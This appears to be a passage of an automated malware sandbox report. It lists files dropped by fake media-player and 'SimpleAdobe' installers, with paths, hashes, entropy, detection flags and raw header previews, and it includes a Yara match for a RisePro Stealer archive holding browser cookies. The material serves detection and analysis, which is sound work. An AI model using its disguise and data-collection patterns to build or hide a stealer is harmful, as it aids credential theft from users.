Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\snapshot_blob.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	data
Category:	dropped
Size (bytes):	163520
Entropy (8bit):	4.871982862640311
Encrypted:	false
SSDEEP:	1536:gq3dmSi74uUaTDJT3iAzoD41Ozl963dptyS//S29BgyL7OoxS4M7egm4DGNDa4Jo:gvTFT38D41Ox96tmW7Dg7KuZ4I3V
MD5:	04D8E967D61E02A74AADE39E8C1D9A2E
SHA1:	D2A7A4401435FB62AD1359BC2C3ABA6C61D61DBA
SHA-256:	1DDA0C7790693C4E36F5B978F548B6BB125B6C03FACEA2DFC1A92A0F54A93BF0
SHA-512:	A7B21058A8CB260FA953D448878982D4FEBFEEFC08FD036C30523FDD55BF5F6E24DB0375ECE9C3516EB5BE4F40B3895785B089DA5B526CD970338AFFA3ADF85D
Malicious:	false
Reputation:	unknown
Preview:	........z.x.10.9.194.10......................................................;...............;..a........a........a........ar.......a........a.......... ...%.D.5....`$.... ....D.9..u.`$.... ..D.=....`$.... ..].D.A....`$.... ....D.E..y.`D.... ....D.I....`$.... ..%.D.M....`$.... ..D.Q....`$.... ..D.U....`$.... ....D.Y..}.`$.... ..D.]....`$.... ..D.a....`$.... .ID.e....`$.... ..D.i....`$.... ..D.m....`$....(Jb....D.....@..F^.!...U`....`.....(Jb....H.....@..F^..@`.....D...IDa........D`....D`....D`.......`.....D]D....D`.......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\soulmediaplayer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3788066
Entropy (8bit):	6.300641835093573
Encrypted:	false
SSDEEP:	98304:ymC/ri4AOsqOTbIGYto0kvcK5h6a1wrvG:ym4zAOsH01cnwDG
MD5:	340D1A41944021D68D7F9F2FE5ED581D
SHA1:	314BDF86C5725238D7E148A4CD6CB32CF1B24049
SHA-256:	F1B99EA64776D9CEF652AE92A06D0D307957DEC709C2CF0A64BEFB92F4B74C3D
SHA-512:	58BEB17F46E10CF6A6218DA42E33D660C36F22749AEBD8849DC58EF55258A777F57BCAEDCD3187C43F28D364B1EAF2A5313B4E484E838FC6D77A3E8308032500
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^..........#..................x............@...........................:.............................................,........p..................................................................................X............................text............................... ..`.rdata..F=.......@..................@..@.data....S.......0..................@....rsrc........p.......@..............@..@.rview7...(..`..".(..0..............a.'.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	InnoSetup Log Soul Media Player, version 0x2a, 3982 bytes, 549163\user, "C:\Users\user\AppData\Local\Soul Media Player"
Category:	dropped
Size (bytes):	3982
Entropy (8bit):	4.471183624454193
Encrypted:	false
SSDEEP:	48:DYpvxyM5LBv8SPvkD8tp0cLCD4cIKEqV9a7+4bLVO347176Sp6TlbfE2zrHElVln:8Z9p8kkD8tpRu19EqV9m+eOIh2qln
MD5:	88AE064C3F1448A383370CF1BAD2EC44
SHA1:	F9123169751DD41B758FBF2F6CB3536098D7DAB0
SHA-256:	2ADB916D6F873D48104B784A1483D5DD204BE55CE54DC81C9D17FBD93E17C3DB
SHA-512:	CEADB3DF5EDAFD29620D794AD213A5B4D809F349F9F4B5359A3BFC08102F9C6026EA46538DDA5B3FB004AEF25E41BFCFD762778C2EE33691AA22FAF27AE8697A
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Soul Media Player...............................................................................................................Soul Media Player...............................................................................................................*...........%.................................................................................................................Pz....=....a@?......T....549163.user1C:\Users\user\AppData\Local\Soul Media Player...........0.&.r.. .....m......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..'...dll:kernel32.dll.CreateFileA.............#...dll:kernel32.dll.WriteFile...........!...dll:kernel32.dll.CloseHandle.......!...dll:kernel32.dll.ExitProcess.......$...dll:User32

C:\Users\user\AppData\Local\Soul Media Player\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	674074
Entropy (8bit):	6.478474780242325
Encrypted:	false
SSDEEP:	12288:feuHnWgyrgVu4rPy37WzH0A6uaF4JNK3NFRvYNajlxpT:GuHcrgVxrPy37WzH0A6uwkNKkKlxpT
MD5:	A5D43A9A77DF3D6C4A4EAC14D1A56408
SHA1:	3DC50A354E3DA0033361CA21C64CAB658AE5C353
SHA-256:	7D5C1703F4964D1ECFBA67C58420ADD22F5938CAD9AE23E233D8396DC71FAEB5
SHA-512:	5984EC45436F9BB19122929B93CD65FA9A99B73A28EAF0D8B341D19C0BC6B2A116E08B4D47B650CBDE4A57E91D21B315C194DBC102E7A0F3C67535CDFECB6240
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@.............................."%.......0...................................................@......................................................CODE....,........................... ..`DATA................................@...BSS.....T................................idata.."%.......&..................@....tls.........0...........................rdata.......@......................@..P.reloc.......P......................@..P.rsrc....0.......0..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\v8_context_snapshot.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	data
Category:	dropped
Size (bytes):	463552
Entropy (8bit):	5.599726933414548
Encrypted:	false
SSDEEP:	6144:1v1LP70TRPsLj3npXMEme9VE4jiEB9EpVYz:nPHp8E59VE4OEBwez
MD5:	16CF86848A0BC06CFD7263709C532C93
SHA1:	1A12E44836A555991264F98AD9F85F6C3D679982
SHA-256:	26CD906968EE228FA898B8FE1E70200DBFED5FA22A8BED9794C85B288DED82E4
SHA-512:	B0E691B3CB6A3AF417DFBE91F0422504C2429F055B84A8AD46F4406362877D6DCDD1F6BDB689C67744C3434700102CF6CC6D3FC9AFDD9436643A1945187BCBC2
Malicious:	false
Reputation:	unknown
Preview:	........=*..10.9.194.10.....................................................X....c...7......p...........a........a........aR.......ar.......a........a.......... ...%.D.5....`$.... ....D.9..u.`$.... ..D.=....`$.... ..].D.A....`$.... ....D.E..y.`D.... ....D.I....`$.... ..%.D.M....`$.... ..D.Q....`$.... ..D.U....`$.... ....D.Y..}.`$.... ..D.]....`$.... ..D.a....`$.... .ID.e....`$.... ..D.i....`$.... ..D.m....`$....(Jb....D.....@..F^.!...U`....`.....(Jb....H.....@..F^..@`.....D...IDa........D`....D`....D`.......`.....D]D....D`.......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\vk_swiftshader_icd.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Reputation:	unknown
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\AggregatorHost.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	307200
Entropy (8bit):	6.022775961297155
Encrypted:	false
SSDEEP:	3072:g/YYB7p8xLMjbC3rS7z9VDJklpDdoz3JwbmVY9AIxh5LelcJ/uXCFQUPmLMqlls5:g/9CO7B3Ypp8ee2A2eWkTflmW
MD5:	47C19E04E2043BD761373577E4828AED
SHA1:	E8CA26022EF413CA072AFC267E7606095734F08F
SHA-256:	9252AA86C04C06C3EDE85ED875F0C50324587BB00355530FA7141912CB34FCA6
SHA-512:	54151BCA97F70B4277F56B3A5EE44EAD17D288E14E32C5D4FC42C432FE5CA887A13664C42FE80D19A17DDDDDD4FEF0F428A6930F88C478F6249D059BBD4E231B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........J>L.$mL.$mL.$mE..m..$m.. lF.$m..'lH.$m..!lo.$mL.%mG.$m..%lO.$m..,lS.$m...mM.$m...mM.$m..&lM.$mRichL.$m........................PE..d...2.UA.........."......0...p.................@....................................K.....`.......... ......................................X... ....... ....P..H'..............T...P...T...................pT..(...0S..@............T.. ............................text....".......0.................. ..`.rdata.......@.......@..............@..@.data.... ...0... ...0..............@....pdata..H'...P...0...P..............@..@.didat..............................@....rsrc... ...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\BdeUISrv.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	4.738058947787634
Encrypted:	false
SSDEEP:	1536:YdxLrtJJNRvQvQ9ur+B/t3TPfcLC6nBEuNZyJFbx/kExUgwuo:WLvRvAr+dt3bfcLC6nBEuD4aExUgC
MD5:	094970BBD30BBB9A9F7FF8F875D2354E
SHA1:	44CBB90E305F89B5E90DA63060C0664287318C7F
SHA-256:	5B3D1935F25B05A7406B9EABF95A009420AA49332BECDD0A0D2062A8B9D6E45B
SHA-512:	32C174EAC22705850EF4E647C8A05AC5093244163A7A5D16B7730E8E1E4DF73F488030117FCDE1B77FFC3139164DADD39096B39CCE4DFEB4E15EA6F51CCF310E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."N..f/..f/..f/..oW..d/..-W..b/..-W..~/..-W..`/..-W..u/..f/.../..-W..o/..-Wo.g/..-W..g/..Richf/..........................PE..d.....y>..........".................0..........@.............................0......B_....`.......... ..........................................................d............ ..........T...........................p...@............................................text.............................. ..`.rdata..47.......@..................@..@.data...@...........................@....pdata..d...........................@..@.rsrc............ ..................@..@.reloc....... ....... ..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6897664
Entropy (8bit):	7.785814923953667
Encrypted:	false
SSDEEP:	196608:6wMRnfQnKqR2igJDe4Fy5nuZqNqwec+N27EowvmV8:6wMVqDAdI5tvecK6EHvmV
MD5:	F8EFB05B940B05FC74801B61B3C0F500
SHA1:	8E3EB6D604F3552D48EBCB385FC2681716B172AF
SHA-256:	90C6B16DE088AB3F5737BCB599BB9FFD69A28ABD149AB986B7FE52BA8BB2F400
SHA-512:	028EA55F06FBFB079673DF19E6E6249E3A2107A3D5485586F8C18724BF0A6A996EA5A7E31721BED9F7BF677BBF789C596994601076C66676C92FBD3A94741FFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(.`F..`F..`F..2...`F..2...`F..2..z`F.c....`F..`G..`F......`F......`F......`F.Rich.`F.........................PE..L...mx.`.................Z..........&........p....@..........................0......{.i...@....................................x.... ..B......................./..................................P.h.@...........................................text....Y.......Z.................. ..`.data....T...p...._..^..............@....idata...............h.............@..@.debug...............h.............@....reloc.../......0....i.............@..B.rsrc...B.... .......4i.............@..@................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\at.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	4.132480077250428
Encrypted:	false
SSDEEP:	768:fv/HFMjHM+NTwY0cWnYtUk6mLKk6+JJiP/:flMLBTuYtZ8k6+JJw/
MD5:	5B204C4D688C73629381DCE09DAA5F1E
SHA1:	81F10211D105868A73251007C16D5D03B8D63468
SHA-256:	C7E5C6995D31185487C796D02440E4395A944FA5CF9BB7553134E6DCCFC6F63C
SHA-512:	218592DFEBD2C06C59482D25366312D2D2FEB7C5E4D4A69E96A46433DC917778FA7D634EE32EEFB0142C54EFDF86A4202241448B29D43885A777AA68B276491D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........$.YOJ.YOJ.YOJ.P7.uOJ..7O.[OJ..7I.ZOJ..7N.JOJ.YOK..OJ..7K.ZOJ..7B.SOJ..7..XOJ..7H.XOJ.RichYOJ.........PE..d...X.Z2.........."......@.......... ..........@....................................%.....`.......... ......................................p^.......... ............................W..T............................P..@...........PQ..@............................text...P>.......@.................. ..`.rdata..~....P... ...P..............@..@.data....!...p.......p..............@....pdata..............................@..@.rsrc... ...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\atieclxx.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	769048
Entropy (8bit):	6.569037335109357
Encrypted:	false
SSDEEP:	12288:QqOWGb4aNztrzzKhN3xGow9nxxArbKijcmo:JGb4aNzFKPw9nwqigmo
MD5:	AA946F9858F8AB75313C108A06C77A06
SHA1:	15A5600460F4AD9AB9FF001D6A2192AA4737816B
SHA-256:	03E773E99BABB51FF63393606304CBCC42AFE64EEEEA40D399D396AB0270DD2D
SHA-512:	C21220157F60287F7D995BC97BF1572B0351EC77E87430B329E053077FB95F7AE09F982F4B56C7C14599B0848B568E5590952B2379CF91F96B26B4441A98FAA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................W............................................U...............[.........Rich...........PE..d.....=_.........."......(..........<M.........@..........................................`.....................................................h....`...........v...4.......p..........T........................... ................@..@............................text....'.......(.................. ..`.rdata...l...@...n...,..............@..@.data....+..........................@....pdata...v.......x..................@..@.rsrc........`......."..............@..@.reloc.......p.......*..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\cacls.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.9784455545850577
Encrypted:	false
SSDEEP:	768:33R7B6GKat8oXdKzqbaJEQ56uUtKwJPGQkVJ:3B7S6ozeHQsfJPG3VJ
MD5:	F4DC58C6A5BA5FC7B66A7884613106EB
SHA1:	213EBFFC5A3D101A4AAF72D6145F5AEE073B4D2A
SHA-256:	D3063CD5FE97F722C832952F027AA558F827DC53D641BE599D467405671FA8D2
SHA-512:	A5CCB6DC4E004C0B8007139C76C7590B749B084055AAACE5F445545E01AF0B3ED983D31060F9C8DB3C32422771A5460A07F2A904290CB2CFF5740AD0696E77DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... .S.NHS.NHS.NHZ..Hy.NH..MIW.NH..JI@.NHS.OH:.NH..OIT.NH..KIW.NH..FI[.NH..HR.NH..LIR.NHRichS.NH................PE..d...Q*..........."......`...p......p..........@.....................................!....`.......... .........................................................................d....z..T............................p..@........... r...............................text....Q.......`.................. ..`.rdata...!...p...0...p..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..d...........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\twain_32.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.595955657956432
Encrypted:	false
SSDEEP:	1536:Ru0x6WyR4TWUUUaYc9mjbzxGz5p0jXbvPuR/Z+y+dPbWj:s0c4TNU+c9ab4pcXbvSZpCbW
MD5:	D0C03C8C270BC134CC909BB3A3E6D904
SHA1:	BD901D08C40D89D86CFB0BFA9522B3AB16310FE0
SHA-256:	D5AA51A6531352C13FC205B91C06579EC35753AF0AB322514D40C98F793CD858
SHA-512:	C5170352187DEE9884BB65E08D2F2E4C133E0CF75435104DDF5265CB60BEF866C59659BF3FF2C5F79EC1ADD4C11C25A9C0408D44B701023ECC35A53606FD9C81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...=...=...=...=...=..<...=...=...=..<...=..<...=..<...=..<...=.h=...=..<...=Rich...=........PE..L..................!.........*...... ............. f.........................@......M.....@A................................0...x.... ..X....................0.......=..T...............................................(............................text...S........................... ..`.data...`...........................@....idata..............................@..@.rsrc...X.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J4dorNOROd60TEXKOpUsDEA.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	231001
Entropy (8bit):	7.997996004070625
Encrypted:	true
SSDEEP:	6144:mm+Fky0dWP8nq4lCTNjB0bZ3J6pW4yMOGqpLmlHskejIF:mm+FFhP8ll6NjBWZ03yMFmL8QMF
MD5:	195BD1128992C7D9D1AA5400EEAF5325
SHA1:	2319F79901523F15ABE81AF41CDD98ED4C0B5D96
SHA-256:	4F45BB1363A006C5293ED015406794E6D1E96CCF5939D40CE7727ECFB90981AA
SHA-512:	B6E5BAEEC862547464C3204ED5A721C54BBA60BCD930644209C4E68BD1438651DCB26593464500C03329D5831F90C8A4278A1A4DF0E322859D2A695D5268589A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\J4dorNOROd60TEXKOpUsDEA.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........&..X................Cookies\..PK........&..XA.`%............Cookies\Chrome_Default.txt....@.........i.&h.Cn..L...\.FA@.~..v7..O...%!es.f..../S..a...@.,ek.%.H......</<2..,...I..w......1q.f.F+PiM.=h.5..2....0....O..u_.~}Z.UM........y...Rj..4H..D...xLY@....[.d.c&......G_............j%q%....Y.\|.....P...u..u..85/..Z`...-..c...^A8n...Y.3......j.G!....c.....AM@!._W.yQbs.@.....h.y.-......\|J..i...r....c....M...E...GS...C....X..C.U..v.%......C,.L0,......5.=....6.....PK........&..X.(..+...j.......information.txt.Y[o..~G.?X:/3....$<mn-LK..0..=...@.!a.P.G.o.!m..O...,/....m:. .[..h....k.D..q.....k.Z..D.L.......@.N.!.......A$...p..\|!..gq.A-...._4...-lk.C).r....%.....<......Cv.\..w8._.6...A.zt....z.u.....s..lj-r.c7[.@..0K..."ZIX"y...n#.,}...m(.~.............w...h......8.zm.'...$U...t..p.{n.0.....Nm.I~L...4.3.....H.3..p....kg...v..Q..k?.c...e.....hH.A.....N...`........n...2...w#...8........X..O.%t.. ....4.w...mx@2....n..+.....kW....Y......5.4..L...V

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SZM3Yb.I

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899968
Entropy (8bit):	7.956832518326607
Encrypted:	false
SSDEEP:	49152:p8B2SJquyGzsEty3ITg2kUg8KcNK3quqM7Ncy1q2JvHqDY9F6qdGUGaJ0N43v:pyjqJGzJtrjkUgv9qoNcy5o89gqdVGaZ
MD5:	C54E03891895F680FA9E60C8B2A2DC8B
SHA1:	AD65AABF7FE85734BDD9E1C492DB8FB0D0D6073C
SHA-256:	DA21701AE98546F8B4487729AAF57D87C76E57381B9DBD6C7FC0C8C6624B221C
SHA-512:	607EDDC12A4DDEB98596DF9EF1D374987D727F87A7D77DAC8D2EAFB8E810532CD15AD2500078EDBF9EA6F49B414A55A09F4C0438764469AA9048DEB32E263B3F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................$...g.hV#g..#g..#g..L....g...<...g.. ...wf......ef..M:..wf..E....f..#g...f....\|..f....z..f..#g..Pg..L...kg...>..jg...<...g..8...=f.......g..E...Mg....\|..g..#g..6g...<...f..^....f..Rich#g..............................................PE..L.....#f...........!.....@...L...F..J........................................P,.....C2-..............................X......LV..P.....+.......................+....@d...............................................P..X............................text...Y*.......0.................. ..`.idata.......@.......@.............. ..`.rdata.......P.......P.................@.data........`.......`..............@....qdata..kd&.. ...p&.................@...510OCR..[.....).......).............@....CRT..........+......p+.............@..@.rsrc.........+.......+..............?.@.reloc........+.......+.............@..B....................................................................................................

C:\Users\user\AppData\Local\Temp\TmpFE95.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
